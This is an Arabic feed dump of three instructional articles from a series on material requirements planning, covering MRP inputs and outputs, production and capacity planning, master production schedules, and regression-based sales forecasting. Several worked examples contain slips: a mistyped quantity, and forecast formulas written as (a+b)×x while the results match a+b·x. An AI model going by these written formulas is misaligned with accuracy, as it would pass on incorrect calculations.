مكونات نظام تخطيط الإحتياجات من المواد

=======================

أولا :مدخلات النظام :

=============

هناك ثلاث مدخلات أساسية لتخطيط الاحتياجات من المواد, جدول الإنتاج و تقرير المخزون و قائمة المواد المطلوبة أو قائمة أجزاء المنتج. جدول الإنتاج الرئيسي يحدد ما هي المنتجات النهائية المحتاج إليها ومتى تنشأ الحاجة إليها و هي مبنية على الأوامر و التنبؤ من النظام التسويقي الفرعي؛ قائمة المواد يتم إعدادها من الهندسة بناء على مواصفات المنتج و من مبادئ التنظيم الهندسي, و مركز المخزون (من المواد) يعكس استلام المواد خلال العمليات كما يتم أيضاً الاحتفاظ بمعلومات التخزين عن المنتجات النهائية.

و كل مدخل من هذه المدخلات له مورد محدد في بعض النظم الفرعية الوظيفية, وعادة البرنامج الذي يستخدم في تخطيط الاحتياجات من المواد يحصل على المعلومات مباشرة من قاعدة البيانات حيث يتم تخزينهم كنتائج للعمليات التحويلية أو كمخرجات لنظم فرعية أخرى. هذه البيانات قد تستخدم في تطبيقات أخرى وتظهر في تقارير أخرى, و لكن نظام إدارة قاعدة البيانات يجعلهم متاحين في نموذج تخطيط الاحتياجات من المواد كما لو أنهم تم جمعهم خصيصاً لهذا الغرض.

 

 

وبإختصار فإن مدخلات نظام تخطيط الإحتياجات من المواد تتمثل فيما يلي :

 

1- جداول الإنتاج الرئيسية :

        هي عبارة عن جداول توضح ثلاثة أنواع من البيانات :

  • أنواع المنتجات النهائية .
  • الكمية التي تنتج من كل عنصر خلال فترات الخطة .
  • توقيتات الإنتاج .

 

2-جداول الطلبيات الخاصة ( الطلب المستقل )

 

3 – قوائم المواد

        وهي عبارة عن قوائم بعناصر المواد والكميات المطلوبة من كل عنصر لإنتاج وحدة واحدة من المنتج النهائي .

4- ملفات المخزون :

        وهي توضح حركة كل صنف من حيث الوارد والمنصرف والرصيد الخاص بكل عنصر من عناصر المخزون من المواد ، وبيانات عن الشحنات المتوقع إستلامها .

 

ثانياً : مخرجات نظام تخطيط الإحتياجات من المواد :

==================================

هناك ثلاث مخرجات أولية, تقرير بالأوامر الصادرة و تقرير بالأوامر المخططة والتغيرات الناتجة من إعادة جدولة الأوامر. تقرير الأوامر الصادرة عبارة عن تعليمات لإدارة المشتريات لطلب خامات, وتقرير الأوامر المخططة تخدم كإشارة لضرورة طلب الخامات المطلوبة وأي تغير في الأوامر المفتوحة عن طريق الإسراع أو الإبطاء ممكن أن يحدث عن طريق إعادة جدولة الأوامر.

وعليه فالمخرجات تتمثل فيما يلي :

  • جدول أوامر التوريد المخططة ، وهو يحتوى على أوامر التوريد التي سيتم إصدارها خلال فترة الخطة .
  • جدول مواعيد إصدار أوامر التوريد .
  • تعديلات أوامر التوريد السابقة .
  • تقارير الإستثناء : وهي تقارير خاصة ببعض العناصر التي تحتاج إلى مزيد من الإهتمام من جهاز إدارة المواد حتى يتم التوريد في المواعيد .
  • تقارير الأداء : أداء جهاز إدارة المواد .
  • تقارير التخطيط .

 

ج- عمليات التشغيل و المعالجة لنظام تخطيط الإحتياجات من المواد

   يفترض أنّ كل نموذج يبنى على النماذج المحتفظ بها في بنك المعلومات للحصول على البرامج التطبيقية, و في حالة نموذج تخطيط الإحتياجات من المواد فإن بيانات المخزون مثل الكمية المتاحة للاستخدام و الكمية المطلوبة في الأوامر ووقت الإنتاج كلها تجمع مع الاحتياجات المجدولة لحساب كمية الخامات التي يتم طلبها و توقيت هذه الأوامر, و النموذج النمطي للتخزين يمكن أن يستخدم لتحديد كمية أمر الشراء.

 

    يتولى نظام MRP مهمة جدولة الإنتاج وتأمين كافة المواد الداخلة في إنتاج المنتوج النهائي كذلك يبين صافي المخزون وفترة إعادة الشراء وترتيبات العمل .

وعليه فإن عمليات نظام MRP تتمحور حول المحاور الأربعة الرئيسة التالية :

   _ إظهار مكونات المنتج : وذلك من خلال تبيان هيكل المنتج .

  _ تحديد الاحتياجات الإجمالية .

  _ وكذلك تحديد الاحتياجات الصافية من المكونات وذلك من خلال معرفة                                                   

      تركيبة المنتج النهائي .

  _ إصدار أوامر الطلب ( سواء بالشراء أو الإنتاج ) .

 

شروط إستخدام نظام تخطيط الإحتياجات من المواد

===========================

يشترط لإستخدام النظام توافر ما يلي :

  • جداول إنتاج رئيسية تحدد نوعية المنتجات ، الكمية المنتجة من كل نوع ، ومواعيد التسليم .
  • قوائم المواد ، والتي تحدد بدقة الأجزاء والمواد الخام المطلوبة لإنتاج وحدة واحدة من المنتج أو العنصر النهائ والكمية المطلوبة من كل .
  • سلامة البيانات سواء الواردة في الجداول الرئيسية للإنتاج أو قوائم المواد أو ملفات المخزون .
  • يجب أن تكون فترة التوريد معروفة أو على الأقل يمكن تقديرها ، وذلك بالنسبة لكل عنصر من المواد .
  • يصلح هذا النظام بشكل فعال في المنظمات الصناعية .
  • يحتاج النظام إلى إستخدام النظام الآلى في الحسابات ، لأنه يحتاج إلى عمليات حسابية ضخمة ومتكررة .

*   *   *

انتهت بحمد الله المقالة الخامسة لمسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/%d8%b3%d9%84%d8%b3%d9%84%d8%a9-%d9%85%d9%82%d8%a7%d9%84%d8%a7%d8%aa-%d8%aa%d8%ae%d8%b7%d9%8a%d8%b7-%d8%a7%d9%84%d8%a5%d8%ad%d8%aa%d9%8a%d8%a7%d8%ac%d8%a7%d8%aa-%d9%85%d9%86-%d8%a7%d9%84%d9%85%d9%88-2/feed/ 0 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة https://cameknowledge.camecenter.com/articles/material_requirements_planning-4/ https://cameknowledge.camecenter.com/articles/material_requirements_planning-4/#respond Wed, 05 Apr 2023 15:49:10 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10392 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة الرابعة اهداف المقالة: تخطيط الإنتاج المقصود بتخطيط الإنتاج .( ماذا ، وكيف ، وأين ، ومتى ، ومن ) العوامل المؤثرة فى تخطيط الإنتاج . المتطلبات الأساسية للتخطيط الجيد للإنتاج . تخطيط الطاقة الإنتاجية للشركة . تخطيط الطاقة الإنتاجية فى حالة […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة الرابعة

اهداف المقالة:

  • تخطيط الإنتاج
  • المقصود بتخطيط الإنتاج .( ماذا ، وكيف ، وأين ، ومتى ، ومن )
  • العوامل المؤثرة فى تخطيط الإنتاج .
  • المتطلبات الأساسية للتخطيط الجيد للإنتاج .
  • تخطيط الطاقة الإنتاجية للشركة .
  • تخطيط الطاقة الإنتاجية فى حالة منتج فردى .
  • تخطيط الطاقة الإنتاجية فى حالة مزيج منتجات .
  • حالات عملية .
  • إعداد جدول الإنتاج الرئيسي .
  • تعريف جدول الإنتاج الرئيسي .
  • حالات عملية .

 

  • ماذا يقصد بتخطيط الإنتاج

==================

     يعرف تخطيط الإنتاج بأنه القيام بالتنبؤ لوضع خطة مقدما لجميع خطوات تتابع العمليات بالطريقة التي يمكن بها تحقيق الأهداف الإنتاجية .

     ولتحقيق هذه الأهداف نجد أن تخطيط الإنتاج يحدد ما الذي يتكون منه العمل وكيف يتم وأين ومتى سيكون هذا الإتمام ومن الذي سيقوم بالتنفيذ . والإجابة عن هذه الأسئلة تتضمن تحليل للمهام (ماذا) – وتحديد توصيفات اتمامه (كيف ) – ومكان العمل المراد انجازه (أين) – وزمن تتابع العمليات (متى ) – ثم المنفذ (من) .

     ومن الصعوبة فصل عملية الرقابة عن التخطيط لأنها هي عملية التأكد من أن التنفيذ يتم وفقا للخطط الموضوعة .

 

وتشتمل وظيفة التخطيط للإنتاج على المجالات التالية :

  • التخطيط للعمليات Process Planning

     ويتعلق التخطيط للعمليات أساسا بتصميم الإمكانيات المادية لنظام الإنتاج . ويرتبط بذلك اختيار نوع التكنولوجيا ، واختيار التصميم الداخلي للتسهيلات الإنتاجية، واختيار نظام تدفق العمليات وموقع التسهيلات الإنتاجية ، وموازنة خطوط الإنتاج ، ومراقبة العمليات ، وأخيرا تخطيط عملية المناولة الداخلية .

 

  • تخطيط الطاقة Capacity Planning

     تتعلق قرارات تخطيط الطاقة بتحديد مستوى الإنتاج الأمثل للشركة ، وتتضمن هذه القرارات عمليات التنبؤ ، وتخطيط التسهيلات الإنتاجية ، الخطط الجزئية أو الفرعية وعمليات الجدولة ، وتحليل صفوف الانتظار .

 

  • تخطيط المخزون Inventory Planning

    تشتمل عملية تخطيط المخزون على النواحي المتعلقة بتحديد مستوى المخزون من المواد الخام ، والمخزون غير التام ، وكذلك مستوى البضائع الجاهزة ويرتبط بذلك مجموعة من القرارات التي تحدد :

  • ما هو نوع المادة الخام الذي يجب طلبه ؟
  • ما هو حجم الطلب ؟ .
  • ما هو توقيت الطلب ؟ .
  • ما هو أسلوب مناولة المواد ؟ .

 

  • تخطيط قوة العمل Work Force Planning

     تتعلق عملية تخطيط قوة العمل بالنواحي المرتبطة بإدارة العمالة الماهرة ، والعمالة الغير ماهرة ، والعمالة الكتابية وكذلك موظفي الإدارة ، ويتطلب ذلك إعداد مجموعة من الخطط التي تتناول وتشمل تصميم الوظيفة ، وقياس العمل ، واثراء الوظيفة ، ومستويات الأداء ، وأساليب الحفز .

 

  • تخطيط الجودة Quality Planning

     وتهدف هذه العملية بشكل أساسي إلى وضع خطة تضمن إنتاج منتج على مستوى عال من الجودة .

 

  • الحاجة إلى تخطيط الإنتاج

=================

         إن الحاجة إلى تخطيط الإنتاج كنشاط في أي مشروع تنشأ بسبب تقسيم العمل فالإنتاج الكلى يقسم إلى عمليات منفصلة ، ولذلك فإنه بواسطة التخطيط يمكن تجميع هذه العمليات لتصبح سلعا نهائية ويتم هذا التجميع في منطقة مركزية بسبب الحاجة الشديدة لوجود وسائل متطورة لتخطيط الإنتاج .

     ففي الإنتاج الكبير نجده يتميز بالتخصص وتجزئة المهارات . فالعامل الذي يقوم بتقطيع قطعة الصلب بواسطة آلة معينة حسب توصيات واردة إليه من بطاقة المواصفات تقدم بواسطة ملاحظ العمال ، لن تكون لديه فكرة عن إستخدام قطعة الصلب هذه ، ولا عن مصدر الحصول على هذا الصلب .وبعد أن تتم عملية التقطيع فإنه يتم نقل الصلب إلى عمليات أخرى لا يعرفها العامل .

 

  • العوامل المؤثرة في تخطيط الإنتاج

=========================

      يوجد أربعة عوامل رئيسية تؤثر على تخطيط الإنتاج من حيث اختيار وسائله هي  :-

  • تعقيد الإنتاج الحديث .
  • الحاجة إلى تحديد أوقات الإنجاز .
  • الحاجة إلى تنسيق كافة العناصر التي تؤثر في التكاليف .
  • الحاجة إلى المرونة بسبب تعرض العمليات للتغير .

 

     وتظهر أهمية مشكلة التنسيق بسبب التخصص الكبير في العمل . وتحديد دورة الإنتاج مهمة لتحديد الأزمنة اللازمة للإنتاج ، لأن لها علاقة مباشرة بطلبات المستهلكين . فإذا كان الطلب لايمكن احتسابه فإن المخزون سيزيد والآلات ستبقى عاطلة . والتنسيق التام يؤثر على العمال وتتأثر به المواد والآلات ويعمل على تخفيض التكاليف . وأخيرا فإن المرونة مطلب مهم في التخطيط إذ يجب أخذ التغيرات الفصلية في الطلب في الإعتبار سواء في الإنتاج المستمر أو في الإنتاج على حسب الطلب .

 

4- متطلبات تخطيط الإنتاج

===============

     يمكن استعراض المتطلبات الأساسية للتخطيط الجيد للإنتاج على النحو الآتي:-

  • الرسم التخطيطي للإنتاج – ويظهر الحدود ، والطاقات ، ويحدد المواد وقائمة الأجزاء .
  • بيانات عن الآلات – توزيعها داخل القسم أو الإدارة ، ونوع العمل لكل منها والسرعة والتغذية ومدى التحميل .
  • بيانات الأدوات – توزيعها وحالة كافة الأدوات والقوالب والتركيبات .
  • بيانات المواد الأولية – المواد المتاحة في المخازن وطلبات الشراء الخاصة بالمواد التي لم تصل والمواد الممكن تبديلها .
  • بيانات الأفراد – مهارات العمال والنوبات والأقسام .
  • بيانات المعايير وتتضمن تحديد التكاليف والوقت اللازم للإنتاج مع أخذ فترات الصيانة في الاعتبار .

 

     وعادة ما يتم وضع نتاج عملية تخطيط الإنتاج في لوحة خاصة تسمى لوحة التخطيط ، أو على شكل خرائط عمل . والهدف الأساسي من لوحة التخطيط وخرائط العمل هو إمداد الإدارة بصورة للخطة من أجل جدولة العاملين والتسهيلات والآلات والمعدات ولبيان المدى الفعلي للعمليات الذي يتبع وفقا للخطة . وهي توفق بين التخطيط والرقابة الخاصة بهذه الأنشطة مثل المبيعات وإدارة الأفراد ورقابة المخزون . كذلك نجد أن بعض العناصر التي تظهر في لوحة التخطيط تستخدم في تحميل الآلات وتوزيع الأوامر على العمليات .

 

 

5 – وضع التخطيط على الخريطة التنظيمية

====================== 

       يعتمد تنظيم وظيفة التخطيط على حجم التخطيط اللازم للعمليات الخاصة بالأقسام غير المتشابهة .ويتوقف تخطيط الإنتاج بصفة رئيسية على وسيلة التنسيق بين الأقسام  لكي يمكن تحقيق أقصى كفاية ممكنة في جودة الإنتاج مع تخفيض في التكاليف ، وبحيث يؤدى التخطيط إلى تحسين الوسائل والإجراءات  .

 

     وفي المشروعات غير الصناعية نجد أن للتخطيط نفس الهدف وهو الوصول إلى النتائج بأقصر وقت ممكن وبأقل مجهود وتكلفة . وتقاس النتائج في محلات البيع بالجملة والتجزئة مثلا بقدرة التنظيم في الحصول على المشتريات الصحيحة من المورد المناسب وفي الوقت والسعر المناسب .

     وتعتبر طبيعة المنتجات وحجم المشروع وطبيعة الخدمات من الاعتبارات الهامة في التخطيط وذلك من وجهة نظر الإدارة . كما يعتبر التخطيط في المشروعات الصغيرة من الأمور المهمة سواء كوظيفة للإداري أو للمالك . أما في المشروعات الكبيرة فيعتمد تنظيم التخطيط على وجهة نظر الإدارة العليا .

 

     ويقاس تركيز وظيفة التخطيط في الإدارة العليا أو بالقرب من هذا المستوى بمدى الثقة في التخطيط الذي يتم في المستويات السفلي . وقد تعتمد مركزية أو لا مركزية التخطيط على عدد ونوع الأقسام الأخرى للشركة .

     وفي الصناعات المستمرة نجد أن وظيفة التخطيط تكون بسيطة نسبيا . أما صناعات التجميع كالسيارات مثلا نجد أن التخطيط يكون معقدا . وفي مثل هذه الصناعات نجد أن خطة الإنتاج يقوم بها مدير الإنتاج . وفي حالة المنشآت الصناعية الكبيرة ذات المنتجات المتنوعة نجد وظيفة التخطيط سوف تؤدى بطريقة أحسن ونحصل على نتائج أفضل إذا تم تحديدها بواسطة الإدارة العليا إلى جانب مدير الإنتاج بحيث يكون على مدير الإنتاج أن يصدر تقريرا إلى الإدارة العليا بأية تغيرات في الوسائل أو الإجراءات المقترحة بواسطة التخطيط .

 

 

 

 

 

 

 

6- تكاليف التخطيط 

=============

     تعتبر التكلفة المتزايدة لوسائل التخطيط العلمية سببا من أسباب عدم انتشار استخدام التخطيط على نطاق واسع . وينطبق هذا القول على دراسات الزمن والحركة والأدوات والوسائل الجديدة للإدارة . وبالطبع فإنه يجب دائما أن تزيد قيمة النتائج المتحصل عليها عن التكاليف التي تنفق في سبيل الحصول عليها . وعندما تكون تكلفة التخطيط اعظم من المنافع المتحصل عليها فإنه يجب اتخاذ الإجراءات اللازمة للحد من هذه التكلفة .

 

     ويمكن قياس نجاح أي نوع من التخطيط . وذلك عن طريقة مقاييس معينة . منها رضاء المستهلكين والتمسك بمواعيد التسليم وتكلفة الإنتاج ونوع الإنتاج والخدمات التي تقدم والروح المعنوية للعمال . ونادرا ما يمكن قياس الروح المعنوية بالنقود ولكن التحسن في هذه الروح المعنوية يمكن تتبعه بواسطة انخفاض الشكاوى المكتبية والغياب وتعطل العمل . وإلى جانب ذلك يمكن الحكم على هذا بواسطة الأفراد الذين يكونون على اتصال بالعمال . ومن البديهي انه قد يظهر أن نشاط التخطيط قد يؤدى إلى انخفاض الروح المعنوية للعمال .

 

حالات تطبيقية :

==========

تخطيط الإنتاج في حالة منتج فردي .

تخطيط الإنتاج في حالة مزيج منتجات .

تخطيط الإحتياجات من الآلات .

 

 

 

 

 

 

 

 

 تخطيط الطاقة الانتاجية :

===============

المطلوب فقط تحليل الطاقة الآلية (يعني تحديد عدد الآلات فقط )

                                                الأحمال الحقيقية

عدد الآلات =

                   عدد أيام العمل  × عدد ورديات العمل × عدد ساعات العمل

                      السنوية                في اليوم         في الوردية

 

                             26309

             =                                 =  4.87  =  5 آلة

                         300×3×6      

 

اذا علمت أن كمية الانتاج المطلوبة سنوياً 50000 دجاجة مجمدة ومعدل الانتاج التالف 5% وزمن التشغيل للدجاجة 3 دقائق على آلة الذبح وزمن التحضير لدفعة 10000 وحدة 15 ساعة ومعدل كفاءة العامل 85% وكفاءة الآلة 90%  .فما هو عدد الآلات المطلوبة في قسم الذبح بالمجزر ؟ 0

 

الحـــــل

أولاً :  تحديد كمية الانتاج الفعلية

                                      كمية الانتاج المطلوبة

كمية الانتاج الفعلية   =  

                                      1- نسبة التالف

                                      50000

                       =                                =  52632  دجاجة

                                      1-5%

ثانياً :  حساب الأحمال الاجمالية :

الحمل الاجمالي على آلة الذبح  =  زمن التشغيل الكلي + زمن التحضير الكلي

زمن التشغيل الكلي = كمية الانتاج الفعلية × زمن الذبح للدجاجة الواحدة .

                                                3

                       =  5232 ×                            =  2632  ساعة

                                                60

 

                                      كمية الانتاج الفعلية

زمن التحضير الكلي =                                         × زمن التحضير للدفة الواحدة

                                         حجم الدفعة

                                      52632

                        =                               ×  15 = 379  ساعة

                                      10000

الحمل الإجمالي علي آلة الذبح  =  2632 + 379  =  3011  ساعة

 

ثالثاً :  حساب الأحمال الحقيقية

                                                  الحمل الانتاجي علي الآلة

الحمل الحقيقي للانتاج علي آلة الذبح = 

                                            كفاءة الآلة × كفاءة العامل

 

                                                3011

                             =                                    =  3936  ساعة

                                         85% × 90%

 

 

رابعاً :  حساب عدد الآلات :

                                                          الأحمال الحقيقي

عدد الالات المطلوبة بقسم  الذبح =

                                      عدد أيام العمل × عدد دورات العمل × عدد ساعات العمل

                                        السنوي                  في اليوم           في الوردية

                                                3936

                             =                 ــــــــــــــــ                =  0.5 = آلة واحدة

                                           300×3×8

 

 

 

 

 

 

 

 

 

 

 

 

 

  • جداول الانتاج الرئيسية :

 

مثال :

توافرت لديك البيانات التالية الخاصة بحجم الطلب المتوقع على ثلاث منتجات من منتجات الدواجن وكذلك أرصدة المخزون فى بداية الاسبوع الاول للخطة والحد الادنى من المخزون .

 

 

  • جدول الطلب بالألف طن:
رقم الاسبوع

 

المنتجات

  

1

  

2

  

3

  

4

 5 6 7
أ 40 40 100 100 130 60 60
ب 60 60 80 80 80 80 60
ج 120 180 180 100 100 120 120

 

  • جداول بارصدة المخزون والحد الادنى
الصنف الحد الادنى للمخزون ألف طن رصيد اول المدة ألف طن
أ

ب

ج

 60

50

60

 100

80

90

 

 

المطلوب / اعداد جدول الانتاج الرئيسى .

 

 

 

 

 

 

 

 

 

 

الحــــــــــل

الخطوة الاولى : اعداد الجدول التمهيدى .

                 الاسبوع

البيان

 1 2 3 4 5 6 7
العنصر أ

(1)الطلب المتوقع

(2)مخزون اول المدة

(3)الحد الادنى للمخزون

(4)رقم الانتاج

 

(5)رصيد اخر المدة

 

  

40

100

60

صقر

  

40

60

60

40

  

100

60

60

100

  

100

60

60

100

  

130

60

60

130

 

 

  

60

60

60

60

 

 

  

60

60

60

60

 

 
العنصر ب (1)الطلب المتوقع

(2)مخزون اول المدة

(3)الحد الادنى للمخزون

(4)رقم الانتاج

 

(5)رصيد اخر المدة

  

60

80

50

30

 

50

  

60

50

50

60

 

50

  

80

50

50

80

 

50

  

80

50

50

80

 

50

  

80

50

50

80

 

50

  

80

50

50

80

 

50

  

60

50

50

60

 

50
العنصر ج

(1)الطلب المتوقع

(2)مخزون اول المدة

(3)الحد الادنى للمخزون

(4)رقم الانتاج

 

(5)رصيد اخر المدة

  

120

90

60

90

 

60

  

180

60

60

180

 

60

  

180

60

60

180

 

60

  

100

60

60

100

 

60

  

100

60

60

100

 

60

  

120

60

60

120

 

60

  

120

60

60

120

 

60

 

الخطوة الثانية : اعداد جدول الإنتاج النهائى :

الاسبوع

عنصر

 1 2 3 4 5 6 7
أ صفر 40 100 100 130 60 60
ب 30 60 80 80 80 80 60
ج 90 180 180 100 100 120 120

 

فى المثال السابق :

بفرض ان نسبة التالف كانت للمنتجات أ, ب,ج هى على التوالى 3% , 5% , 2%

المطلوب :

 تحديد  إنعكاس أثر ذلك على جداول الانتاج الرئيسية ؟

 

الحـــــــــــــــــــــــــــــل

 

يتم تعديل كمية الانتاج

 

بنسبة التالف للمنتج (أ)

 

كمية الانتاج =  كمية الإنتاج ÷ ( 1- نسبة التالف )

 

   الاسبوع الاول     = صفر  ÷ (1- 0.03) = صفر  وحدة

  

  الأسبوع الثانى   = 40 ÷  (1- 0.03 ) =  42 وحدة

 

 

 

*   *   *

انتهت بحمد الله المقالة الرابعة لمسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/material_requirements_planning-4/feed/ 0 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة https://cameknowledge.camecenter.com/articles/material_requirements_planning-3/ https://cameknowledge.camecenter.com/articles/material_requirements_planning-3/#respond Wed, 05 Apr 2023 15:45:31 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10390 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة الثالثة ثالثا :  تقدير حجم الطلب على منتجات المنظمة باستخدام تحليل الانحدار Regression Analysis         يمثل تحليل الانحدار نمط من التحليل الكمي الذي يؤسس علاقة بين أحد المتغيرات التابعة ، والتي سيتم التنبؤ به ( كالمبيعات ) وواحد أو أكثر […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة الثالثة

ثالثا :  تقدير حجم الطلب على منتجات المنظمة باستخدام تحليل الانحدار Regression Analysis  

      يمثل تحليل الانحدار نمط من التحليل الكمي الذي يؤسس علاقة بين أحد المتغيرات التابعة ، والتي سيتم التنبؤ به ( كالمبيعات ) وواحد أو أكثر من المتغيرات المستقلة ، ويتم استخدام معرفتنا بالعلاقة بين المتغير التابع والمتغيرات المستقلة وأيضا

معرفتنا لقيم المتغير أو المتغيرات المستقلة في المستقبل لتقدير قيم المتغير التابع في المستقبل .

     وبالنسبة للإانحدار البسيط الذي سنقوم باستخدامه هنا فإن عملية التحليل تقتصر على متغيرين فقط ، أحدهما المتغير التابع المراد التنبؤ بقيمته في المستقبل والآخر يمثل المتغير المستقبل .

     وفي حالة استخدام مجموعة من البيانات تمثل سلسلة زمنية للتنبؤ فإن المتغير المستقل يتمثل في الفترة الزمنية . ولهذا فإنه عند استخدام السلاسل الزمنية يتم تكوين العلاقة بين المتغير التابع والفترات الزمنية الماضية ( كمتغير مستقل ).ويتم استخدام معرفتنا لهذه العلاقة للتنبؤ بقيم المتغير التابع للفترات الزمنية في المستقبل .

     ولاستخدام نموذج الانحدار في التنبؤ يلزم أولا معرفة تكوين النموذج والمعاني الخاصة بالرموز الداخلة في هذه التكوين .

تعريف المتغيرات والمعادلات في تحليل الانحدار البسيط

النموذج :

            ص = أ + ب س (1)

حيث :

    ص  = قيم المتغير التابع ( رقم المبيعات المتوقع )

  س    = قيم المتغير المستقل

   أ   = تقاطع المحور الرأسي

  ب  = منحنى خط الانحدار

 

 

 

 

ولحساب متغيرات النموذج يجب أولا تحديد كلا من أ ، ب عن طريق المعادلتين :-

 

  أ  = مجـ س2 مجـ ص – مجـ س مجـ س ص

        ن مجـ س2 –  ( مجـ س )2                   (2)

 

  ب   =      ن مجـ س ص  – مجـ س مجـ ص

                  ن مجـ س2 – ( مجـ س )2         (3)  

 

حيث :  ن  =  عدد الفترات

 

ولتحديد مدى إرتباط نتائج التقدير بقيم المتغير المستقل يتم حساب

  • معامل الارتباط
  • معامل التحديد

       

الحالة الأولى : استخدام أسلوب الانحدار البسيط في حالة البيانات المتمثلة في سلسلة زمنية .

 

تطبيق محلول:

     تقوم إحدى الشركات العاملة في مجال صناعة الدواجن بإنتاج نوع من الدواجن المجمدة . وفي الوقت الحالي يتم تشغيل العنابر والمجزر بما يقرب من الطاقة الإنتاجية القصوى . ويرى مدير تخطيط الإنتاج أن هناك نمو مطرد  في حجم المبيعات السنوية وأن هذا النمو سيستمر في المستقبل . ومن ثم كانت هناك حاجة لإعداد تقديرات طويلة المدى للمبيعات بغرض تحديد الإمكانيات والطاقة الإنتاجية للثلاث سنوات القادمة . وقد تم إعداد البيانات التالية من سجلات الشركة والتي توضح المبيعات في سلسلة زمنية لعشرة سنوات سابقة .

 

السنة المبيعات السنوية بالألف فرخة مجمدة السنة المبيعات السنوية بالألف فرخة مجمدة
1 1.000 6 2.000
2 1.300 7 2.200
3 1.800 8 2.600
4 2.000 9 2.900
5 2.000 10 3.200

 

 والمطلوب استخدام هذه البيانات لإعداد تقديرات المبيعات المطلوبة للثلاث سنوات المقبلة .

الحــــل 

  • حتى يمكن التوصل إلى تحديد ثوابت نموذج الانحدار البسيط ( أ ، ب) يجب الحصول على البيانات التى تمكن من إيجاد قيم المعادلتين (2 ، 3 ) ويتم ذلك عن طريق تكوين الجدول التالي :

 

السنة

المبيعات السنوية بالألف وحدة
( ص ) ( س ) س2 س ص
1 1.000 1 1 1.000
2 1.300 2 4 2.600
3 1.800 3 9 5.400
4 2.000 4 16 8.000
5 2.000 5 25 10.000
6 2.000 6 36 12.000
7 2.200 7 49 15.400
8 2.600 8 64 20.800
9 2.900 9 81 26.100
10 3.200 10 100 32.00
المجموع 21.000 55 385 133.3

( 2) ومن الجدول السابق يمكن استخراج المتغيرات الخاصة بالمعادلتين (2،3) كمايلي :

مجـ ص    =   21.000

مجـ  س    =   55

مجـ س2   = 385

مجـ س ص  =133.300

 ن        =  10

  • إيجاد قيم ثوابت معادلة الانحدار ( أ ، ب )

أ   =  مجـ س2 مجـ ص  – مجـ س مجـ

 ن مجـ س2  –  ( مجـ  س )2 

 

= [( 385 × 21.000 – ( 55 × 133.300 ) /( 10  ×  385 )  –  ( 55 )2]

=    [(8.085.000  –  7.331.500 )/ (3.850   –  3.025 )]

=     ( 753.500 /825 )   =  913.333

    ب     =   ن مجـ س ص  – مجـ س مجـ س

                    ن مجـ س2 – ( مجـ س )2 

   = {[ (10 × 133.300 ) – ( 55 × 21.000 ) ]/ ( 10 ×  385 ) – (55 )2}

                     =  [( 1333.300  – 1.155.000) / 825]

( 178.000  /  825 ) =   215.758

( 4 )  تكوين معادلة الانحدار البسيط

     ص   =  أ  + ب س

    ص   =  913.333  + 215.758 س

( 5 ) ولإعداد تقديرات المبيعات للثلاث سنوات المقبلة سيتم إحلال قيم المتغير المستقل في كل فترة كما يلي  :-

  • في أول سنة تقدير س = 11
  • في السنة الثانية  س = 12
  • في السنة الثالثة  س =  13 

ص ( رقم المبيعات المتوقع ) في السنة 11 = [( 913.333+ 215.758 )× 11]

                                            =  3286.7 ألف وحدة .

ص 12                                  = [(913.333  + 215.758 ) × 12 ]

                                            = 3502.4 ألف وحدة .

 ص 13                                 = [( 913.333  +  215.758 )× ]13 

                                             = 3718.2  ألف وحدة .

 

الحالة الثانية : إستخدام متغير مستقل له علاقة بالمتغير التابع  .

          وهنا يتم تحديد أحد المتغيرات المستقلة والتي يعتقد أن مبيعات الشركة لها ارتباط بها ولتوضيح ذلك نأخذ التطبيق التالي  :

 

تطبيق محلول :

 

